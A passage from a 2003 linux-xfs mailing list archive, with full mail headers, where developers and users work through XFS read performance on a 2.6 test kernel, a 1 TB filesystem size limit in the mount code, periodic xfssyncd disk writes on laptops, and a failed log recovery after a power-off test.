Real: 45.15 User: 0.01 Sys: 7.01 That is a bit weird result, isn't it? On the hand-patched 2.4.20-18.9 Kernel with XFS 1.3.0pre4 I'll get much better read performance and about similar write performance. I checked if there are any issues regarding the internal log and tried an external one, but not much of a change with that. I am not to proficient in using the kernel profiling tools to see where the performance goes, so maybe someone could give me a hint what to look for. Cheers, Frank... -- -------------------------------------------------------------------------- Frank Hellmann Optical Art GmbH Waterloohain 7a Digital Cinema http://www.opticalart.de 22769 Hamburg frank@opticalart.de Tel: ++49 40 5111051 Fax: ++49 40 43169199 From owner-linux-xfs@oss.sgi.com Mon Sep 22 06:56:01 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 06:56:20 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MDu1Fx009963 for ; Mon, 22 Sep 2003 06:56:01 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8MDttq0022508 for ; Mon, 22 Sep 2003 06:55:55 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8MDttcc11743728; Mon, 22 Sep 2003 08:55:55 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8MDttK21007351; Mon, 22 Sep 2003 08:55:55 -0500 (CDT) Date: Mon, 22 Sep 2003 08:55:54 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Tru Huynh cc: "linux-xfs@oss.sgi.com" Subject: Re: CVS-2.4.22: File system is too large to be mounted on this system In-Reply-To: <20030922101946.A19731@xiii.bis.pasteur.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 475 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1425 Lines: 37 Nathan recently fixed a bug where the filesystem size check was incorrect. It had been been checking the number of filesystem blocks, rather than the number of sectors in the underlying block device. He changed it to this: if (unlikely( (sbp->sb_dblocks << (__uint64_t)(sbp->sb_blocklog - BBSHIFT)) > INT_MAX || (sbp->sb_rblocks << (__uint64_t)(sbp->sb_blocklog - BBSHIFT)) > INT_MAX)) { cmn_err(CE_WARN, "XFS: File system is too large to be mounted on this system."); return XFS_ERROR(E2BIG); } however, this restricts the size of the filesystem to 1T, or 2^31 * 512 bytes. This is probably safest, as it protects against any other drivers in the I/O path which may use a signed int for the sector number offset on the device. However, if you're sure your underlying block device is 32-bit clean, change the INT_MAX's above to UINT_MAX in both places, and you should be good to go. If you still get the mount error, then your filesystem probably really is too big for the 32-bit kernel to handle (note that the 2T limit is a kernel limitation on blockdevice size, not an xfs limitation). -Eric On Mon, 22 Sep 2003, Tru Huynh wrote: > I have an external IDE-SCSI attachement with 8x 250GB HDs in a RAID5 array. > Kernel and XFS tools from cvs as of 2003/09/21 on a RedHat 7.3 based > athlon machine. From owner-linux-xfs@oss.sgi.com Mon Sep 22 09:49:22 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 09:49:38 -0700 (PDT) Received: from localhost.localdomain (host-65-120-145-91.coremetrics.com [65.120.145.91] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MGmvFx024869 for ; Mon, 22 Sep 2003 09:49:21 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.8/8.12.8) with ESMTP id h8MGbLUU002073; Mon, 22 Sep 2003 11:37:21 -0500 Received: (from austin@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id h8MGbKd0002071; Mon, 22 Sep 2003 11:37:20 -0500 X-Authentication-Warning: localhost.localdomain: austin set sender to austin@coremetrics.com using -f Subject: Re: Read performance issues with 2.6.0test5? From: Austin Gonyou To: Frank Hellmann Cc: XFS List In-Reply-To: <3F6EFF6E.9040005@opticalart.de> References: <3F6EFF6E.9040005@opticalart.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1064248640.1949.17.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Mon, 22 Sep 2003 11:37:20 -0500 X-archive-position: 477 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs Content-Length: 2599 Lines: 67 On Mon, 2003-09-22 at 08:55, Frank Hellmann wrote: > Hi! > > I am currently trying out kernel 2.6.0test5.1.36 (the one from the > Redhat site). After patching in the latest QLogic FibreChannel drivers > (8.0.0.4) and running performance tests I was wondering about the > results. The machine consists of two dual channel PCI-X QLogic FC > Controllers and 4 Infortrend diskarrays with ~2TB each. The arrays are I actually have an Infortrend. So this is interesting to me. I have qla2300's and Qla2200's on 4 different machines. All devices are attached to SilkWorm 2800 switches and I have two large volumes presented from the Infortrend. This means that I have hardware level, six way striping. This is a RAID0, it's a backup volume, with Direct IO, not caching.We can read and write 2GB files with 8K block size in 16 seconds both ways. Same test that you have below, just a different kernel. I agree, it's a different test at that level, but read below for a couple more suggestions. > hardpartitioned (inside the arrays) to 512GB chunks and I am currently > striping them together via /dev/md0 with 2TB. > > Kernel 2.6.0test5.1.36custom: > > Writing (time -p dd if=/dev/zero of=/xine1/zeros bs=1M count=4K) > Real: 11.00 > User: 0.02 > Sys: 10.60 Your BS = 1M, but what is the controller set to as far as FC frames are concerned? > Reading (time -p dd if=/xine1/zeros of=/dev/null bs=1M count=4K) > Real: 45.15 > User: 0.01 > Sys: 7.01 Your BS = 1M, but what is the controller set to as far as FC frames are concerned? Be aware that you'll have to remove the MD as a bottleneck as well. i.e. just format a 2 TB volume from the IFT, and perform the same test with no other layers in between. Also, what FS mount options are you using? biosize, logbufs, noatime? > That is a bit weird result, isn't it? On the hand-patched 2.4.20-18.9 > Kernel with XFS 1.3.0pre4 I'll get much better read performance and > about similar write performance. I checked if there are any issues > regarding the internal log and tried an external one, but not much of > a change with that. I agree that these results are odd. Something is amiss here, but there really are many parts to remove before signifying one or the other. You could always format that MD volume you made as EXT3 or Reiser and perform the same test. > I am not to proficient in using the kernel profiling tools to see > where > the performance goes, so maybe someone could give me a hint what to > look > for. > > Cheers, > Frank... -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Mon Sep 22 10:52:33 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 10:52:37 -0700 (PDT) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MHqWFx027385 for ; Mon, 22 Sep 2003 10:52:32 -0700 Received: (qmail 7140 invoked by uid 65534); 22 Sep 2003 17:52:25 -0000 Received: from t-indiv3-83.athome.tue.nl (EHLO s371472t) (131.155.240.83) by mail.gmx.net (mp022) with SMTP; 22 Sep 2003 19:52:25 +0200 X-Authenticated: #1536659 Message-ID: <021601c38132$486ee180$0100a8c0@campus.tue.nl> From: "Leon Woestenberg" To: References: Subject: Re: CVS-2.4.22: File system is too large to be mounted on this system Date: Mon, 22 Sep 2003 19:52:25 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 478 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: leon.woestenberg@gmx.net Precedence: bulk X-list: linux-xfs Content-Length: 514 Lines: 15 Hello, > However, if you're sure your underlying block device is 32-bit clean, > change the INT_MAX's above to UINT_MAX in both places, and you should > be good to go. If you still get the mount error, then your filesystem > probably really is too big for the 32-bit kernel to handle (note that > the 2T limit is a kernel limitation on blockdevice size, not an xfs > limitation). > Is this kernel limitation also in 2.6.x, or does it support larger blockdevice sizes? (i.e. when LBD support is enabled?) Leon. From owner-linux-xfs@oss.sgi.com Mon Sep 22 11:05:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 11:05:38 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MI54Fx029869 for ; Mon, 22 Sep 2003 11:05:05 -0700 Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8MILoHc021624 for ; Mon, 22 Sep 2003 13:21:50 -0500 Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8MI4wtv019683; Mon, 22 Sep 2003 13:04:58 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8MI4vjw019681; Mon, 22 Sep 2003 13:04:57 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: CVS-2.4.22: File system is too large to be mounted on this system From: Steve Lord To: Leon Woestenberg Cc: linux-xfs@oss.sgi.com In-Reply-To: <021601c38132$486ee180$0100a8c0@campus.tue.nl> References: <021601c38132$486ee180$0100a8c0@campus.tue.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064253896.15557.27.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 22 Sep 2003 13:04:57 -0500 X-archive-position: 479 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 829 Lines: 26 On Mon, 2003-09-22 at 12:52, Leon Woestenberg wrote: > Hello, > > > However, if you're sure your underlying block device is 32-bit clean, > > change the INT_MAX's above to UINT_MAX in both places, and you should > > be good to go. If you still get the mount error, then your filesystem > > probably really is too big for the 32-bit kernel to handle (note that > > the 2T limit is a kernel limitation on blockdevice size, not an xfs > > limitation). > > > Is this kernel limitation also in 2.6.x, or does it support larger > blockdevice sizes? > (i.e. when LBD support is enabled?) > > Leon. 2.6 should not limit you this way, and 2.4 should get put back to 2 Tbytes soon. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Sep 22 11:12:30 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 11:12:45 -0700 (PDT) Received: from ams006.ftl.affinity.com (lvs00-fl-n06.valueweb.net [216.219.253.152]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MICTFx030549 for ; Mon, 22 Sep 2003 11:12:30 -0700 Received: from david.internal.NorcrossGroup.com ([66.156.0.127]) by ams.ftl.affinity.com with ESMTP id <4404068-18621>; Mon, 22 Sep 2003 14:11:18 -0400 Subject: Re: Read performance issues with 2.6.0test5? From: Greg Freemyer Reply-To: freemyer-ml@NorcrossGroup.com To: Austin Gonyou Cc: Frank Hellmann , XFS List In-Reply-To: <1064248640.1949.17.camel@localhost.localdomain> References: <3F6EFF6E.9040005@opticalart.de> <1064248640.1949.17.camel@localhost.localdomain> Content-Type: text/plain Organization: Message-Id: <1064253817.1744.1.camel@david.internal.NorcrossGroup.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.3 Date: 22 Sep 2003 14:03:38 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 480 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer-ml@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Content-Length: 480 Lines: 17 On Mon, 2003-09-22 at 12:37, Austin Gonyou wrote: > I agree that these results are odd. Something is amiss here, but there > really are many parts to remove before signifying one or the other. You > could always format that MD volume you made as EXT3 or Reiser and > perform the same test. > If the filesystem is of no value, you could also do you dd to the raw MD volume. If that has similar problems then you can forget about xfs as the bottleneck. Greg -- Greg Freemyer From owner-linux-xfs@oss.sgi.com Mon Sep 22 12:00:25 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 12:00:34 -0700 (PDT) Received: from electre.pasteur.fr (electre.pasteur.fr [157.99.64.120]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MJ0OFx004372 for ; Mon, 22 Sep 2003 12:00:25 -0700 Received: from xiii.bis.pasteur.fr (xiii.bis.pasteur.fr [157.99.90.14]) by electre.pasteur.fr (8.12.9/8.12.9) with ESMTP id h8MJ0NlQ135758; Mon, 22 Sep 2003 21:00:23 +0200 (CEST) Received: (from tru@localhost) by xiii.bis.pasteur.fr (8.11.6/8.11.6) id h8MJ0NG01255; Mon, 22 Sep 2003 21:00:23 +0200 Date: Mon, 22 Sep 2003 21:00:23 +0200 From: Tru Huynh To: Eric Sandeen Cc: "linux-xfs@oss.sgi.com" Subject: Re: CVS-2.4.22: File system is too large to be mounted on this system (fixed) Message-ID: <20030922210023.A1222@xiii.bis.pasteur.fr> References: <20030922101946.A19731@xiii.bis.pasteur.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from sandeen@sgi.com on Mon, Sep 22, 2003 at 08:55:54AM -0500 X-archive-position: 481 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tru@pasteur.fr Precedence: bulk X-list: linux-xfs Content-Length: 1672 Lines: 41 On Mon, Sep 22, 2003 at 08:55:54AM -0500, Eric Sandeen wrote: > Nathan recently fixed a bug where the filesystem size check was > incorrect. It had been been checking the number of filesystem blocks, > rather than the number of sectors in the underlying block device. > He changed it to this: > > if (unlikely( > (sbp->sb_dblocks << (__uint64_t)(sbp->sb_blocklog - BBSHIFT)) > > INT_MAX || > (sbp->sb_rblocks << (__uint64_t)(sbp->sb_blocklog - BBSHIFT)) > > INT_MAX)) { > cmn_err(CE_WARN, > "XFS: File system is too large to be mounted on this system."); > return XFS_ERROR(E2BIG); > } > > however, this restricts the size of the filesystem to 1T, or > 2^31 * 512 bytes. This is probably safest, as it protects against > any other drivers in the I/O path which may use a signed int for the > sector number offset on the device. Thanks a lot, that fixed the mount problem. :) > > However, if you're sure your underlying block device is 32-bit clean, > change the INT_MAX's above to UINT_MAX in both places, and you should > be good to go. If you still get the mount error, then your filesystem > probably really is too big for the 32-bit kernel to handle (note that > the 2T limit is a kernel limitation on blockdevice size, not an xfs > limitation). I am just at the limit with 8x 250 GB HDs in a RAID5 -> 1750 MB blockdevice. Best regards, Tru -- Dr Tru Huynh | http://www.pasteur.fr/recherche/unites/Binfs/ mailto:tru@pasteur.fr | tel/fax +33 1 45 68 87 37/19 Institut Pasteur, 25-28 rue du Docteur Roux, 75724 Paris CEDEX 15 France From owner-linux-xfs@oss.sgi.com Mon Sep 22 12:23:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 12:23:11 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MJN6Fx007711 for ; Mon, 22 Sep 2003 12:23:07 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8MJdqHc017363 for ; Mon, 22 Sep 2003 14:39:52 -0500 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8MJN1cc11731677 for ; Mon, 22 Sep 2003 14:23:01 -0500 (CDT) Received: from sgi.com (penguin.americas.sgi.com [128.162.240.135]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8MJN0Rn288844426; Mon, 22 Sep 2003 14:23:00 -0500 (CDT) Received: from penguin.americas.sgi.com (localhost.localdomain [127.0.0.1]) by sgi.com (8.12.8/8.12.8) with ESMTP id h8MJMKkr017761; Mon, 22 Sep 2003 14:22:20 -0500 Received: (from sandeen@localhost) by penguin.americas.sgi.com (8.12.8/8.12.8/Submit) id h8MJMKYs017759; Mon, 22 Sep 2003 14:22:20 -0500 Date: Mon, 22 Sep 2003 14:22:20 -0500 From: Eric Sandeen Message-Id: <200309221922.h8MJMKYs017759@penguin.americas.sgi.com> Subject: TAKE 900167 - Allow full 32 bits in sector number X-archive-position: 482 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@penguin.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 312 Lines: 13 Allow full 32 bits in sector number when XFS_BIG_BLKNOS not set Date: Mon Sep 22 12:22:06 PDT 2003 Workarea: penguin.americas.sgi.com:/src/eric/xfs-trees/xfs-kern-oss The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-linux Modid: xfs-linux:slinx:158757a xfs_mount.c - 1.337 From owner-linux-xfs@oss.sgi.com Mon Sep 22 12:30:13 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 12:30:23 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MJU9Fx008187 for ; Mon, 22 Sep 2003 12:30:12 -0700 Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8MHX5OO024946 for ; Mon, 22 Sep 2003 10:33:06 -0700 Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8MJU0tv020948; Mon, 22 Sep 2003 14:30:00 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8MJTpZX020943; Mon, 22 Sep 2003 14:29:51 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: xfssyncd syncing every five seconds? From: Steve Lord To: Karol Kozimor Cc: Simon Matter , Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com In-Reply-To: <20030921122137.GA10010@hell.org.pl> References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> <20030918134329.B6939@wobbly.melbourne.sgi.com> <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> <1063937479.1811.19.camel@laptop.americas.sgi.com> <20030921122137.GA10010@hell.org.pl> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064258990.15567.46.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 22 Sep 2003 14:29:50 -0500 X-archive-position: 483 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1328 Lines: 31 On Sun, 2003-09-21 at 07:21, Karol Kozimor wrote: > Thus wrote Steve Lord: > > I could gripe about folks reporting this after the release, rather > > than before it... I just logged into my workstation from home, and > > watched it for a minute or two, zero I/O during this time. On the > > other hand, my laptop does appear to be doing periodic I/O and it > > does seem to be every 5 seconds. I have also had a report of someone > > not being able to keep their disks spun down in 2.6 on a laptop. > > > > Scratching my head so far, 5 seconds does not really tie up with > > any xfs thread. > > Please do search for laptop-mode patches published on lkml several times. > They have a sysctl setting that, when turned on, dumps the processes or > threads doing I/O on screen. Using that patch, I was able to successfully > spin my disk down to about 1 minute (the maximum sysctl setting for > xfssyncd or the other). > Best regards, Using a current CVS kernel, and redhat 9.0 user space, I can get my laptop to sit there with a suspended ide drive for 10 minutes before something pops off and writes to a log file. I mounted all filesystems with noatime and stopped crond. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Sep 22 13:42:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 13:42:25 -0700 (PDT) Received: from hell.org.pl (qmailr@hell.org.pl [212.244.218.42]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MKg2Fx015117 for ; Mon, 22 Sep 2003 13:42:04 -0700 Received: (qmail 19330 invoked by uid 777); 22 Sep 2003 20:47:10 -0000 Date: Mon, 22 Sep 2003 22:47:10 +0200 From: Karol Kozimor To: Steve Lord Cc: Simon Matter , Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com Subject: Re: xfssyncd syncing every five seconds? Message-ID: <20030922204710.GB19545@hell.org.pl> Mail-Followup-To: Steve Lord , Simon Matter , Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> <20030918134329.B6939@wobbly.melbourne.sgi.com> <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> <1063937479.1811.19.camel@laptop.americas.sgi.com> <20030921122137.GA10010@hell.org.pl> <1064258990.15567.46.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline In-Reply-To: <1064258990.15567.46.camel@jen.americas.sgi.com> User-Agent: Mutt/1.4.1i X-archive-position: 484 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sziwan@hell.org.pl Precedence: bulk X-list: linux-xfs Content-Length: 1149 Lines: 24 Thus wrote Steve Lord: > > Please do search for laptop-mode patches published on lkml several times. > > They have a sysctl setting that, when turned on, dumps the processes or > > threads doing I/O on screen. Using that patch, I was able to successfully > > spin my disk down to about 1 minute (the maximum sysctl setting for > > xfssyncd or the other). > Using a current CVS kernel, and redhat 9.0 user space, I can get > my laptop to sit there with a suspended ide drive for 10 minutes > before something pops off and writes to a log file. I mounted all > filesystems with noatime and stopped crond. When doing no work on the machine itself? Right, if I leave mine alone, the drive is spun down for several minutes (never actually bothered to count them) -- not that it saves much power, though. However, I believe we would want to actually let people do some work, and as far as I understand it now, whenever the pages get dirty or whatever write gets pending, the disk is powered on after a minute or so. Is the there a specific reason for which the sysctls max out at 60 seconds? Best regards, -- Karol 'sziwan' Kozimor sziwan@hell.org.pl From owner-linux-xfs@oss.sgi.com Mon Sep 22 14:08:54 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 14:09:19 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8ML8rFx015919 for ; Mon, 22 Sep 2003 14:08:54 -0700 Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8MJBoOO004344 for ; Mon, 22 Sep 2003 12:11:50 -0700 Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8ML8ktv021615; Mon, 22 Sep 2003 16:08:46 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8ML8jen021613; Mon, 22 Sep 2003 16:08:45 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: xfssyncd syncing every five seconds? From: Steve Lord To: Karol Kozimor Cc: Simon Matter , Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com In-Reply-To: <20030922204710.GB19545@hell.org.pl> References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> <20030918134329.B6939@wobbly.melbourne.sgi.com> <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> <1063937479.1811.19.camel@laptop.americas.sgi.com> <20030921122137.GA10010@hell.org.pl> <1064258990.15567.46.camel@jen.americas.sgi.com> <20030922204710.GB19545@hell.org.pl> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064264925.21011.22.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 22 Sep 2003 16:08:45 -0500 X-archive-position: 485 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1463 Lines: 32 On Mon, 2003-09-22 at 15:47, Karol Kozimor wrote: > Thus wrote Steve Lord: > > > Please do search for laptop-mode patches published on lkml several times. > > > They have a sysctl setting that, when turned on, dumps the processes or > > > threads doing I/O on screen. Using that patch, I was able to successfully > > > spin my disk down to about 1 minute (the maximum sysctl setting for > > > xfssyncd or the other). > > Using a current CVS kernel, and redhat 9.0 user space, I can get > > my laptop to sit there with a suspended ide drive for 10 minutes > > before something pops off and writes to a log file. I mounted all > > filesystems with noatime and stopped crond. > > When doing no work on the machine itself? Right, if I leave mine alone, the > drive is spun down for several minutes (never actually bothered to count > them) -- not that it saves much power, though. However, I believe we would > want to actually let people do some work, and as far as I understand it > now, whenever the pages get dirty or whatever write gets pending, the disk > is powered on after a minute or so. Is the there a specific reason for > which the sysctls max out at 60 seconds? > Best regards, Ahh, I went and looked at bdflush's maximums, and yes, for folks who want to live in ram, we can tweak a few maximums. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Sep 22 14:59:45 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 14:59:59 -0700 (PDT) Received: from phear.lwz.org (postfix@ool-182c4041.dyn.optonline.net [24.44.64.65]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MLxXFx017732 for ; Mon, 22 Sep 2003 14:59:34 -0700 Received: by phear.lwz.org (Postfix, from userid 501) id BAC46D3CF; Mon, 22 Sep 2003 17:16:25 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by phear.lwz.org (Postfix) with ESMTP id B15CA3ED0; Mon, 22 Sep 2003 17:16:25 -0400 (EDT) Date: Mon, 22 Sep 2003 17:16:25 -0400 (EDT) From: Cory Visi To: Cc: Net Llama! Subject: Re: XFS recovery issues In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 486 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: merlin@phear.lwz.org Precedence: bulk X-list: linux-xfs Content-Length: 1503 Lines: 44 On Mon, 22 Sep 2003, Net Llama! wrote: > On Mon, 22 Sep 2003, Cory Visi wrote: > > > > > I recently patched up my own custom 2.4.22 kernel with the 2.4.22 XFS > > > > split patches. I am also using the 2.4.23-pre4 patch. > > > > > > > > To do a filesystem test, I basically just shut the machine off and > > > > see if XFS recovers. Which I did. Instead of the system booting up, I get > > > > this: > > > > > > > > > > > > XFS mounting filesystem sd(8,1) > > > > Starting XFS recovery on filesystem: sd(8,1) (dev: 8/1) > > > > XFS: xlog_recover_process_data: bad clientid > > > > XFS: log mount/recovery failed > > > > XFS: log mount failed > > > > Kernel panic: VFS: Unable to mount root fs on 08:01 > > > > > > i recently had several power failures, and my UPS batteries failed, > > > and as a result i had four 2.4.22 systems lose power, all recovered > > > perfectly fine (several times). I think there must be something else > > > going on with your setup. > > > > Ok, assuming this is the case, what kinds of things can cause a log > > recovery to fail? Am I mounting it wrong in the bootloader? I'm > > telling the kernel to mount read-only. Am I mounting with the wrong mount > > options? Any help would be appreciated. > > Are you running the latest release of xfsprogs? I'm not sure if it matters, but I'm running: acl-2.2.13 attr-2.4.7 dmapi-2.0.8 xfsdump-2.2.13 xfsprogs-2.5.4 Do any of these affect the XFS recovery during a mount? Thank you, Cory Visi From owner-linux-xfs@oss.sgi.com Mon Sep 22 15:15:45 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 15:16:00 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MMFiFx018730 for ; Mon, 22 Sep 2003 15:15:45 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id 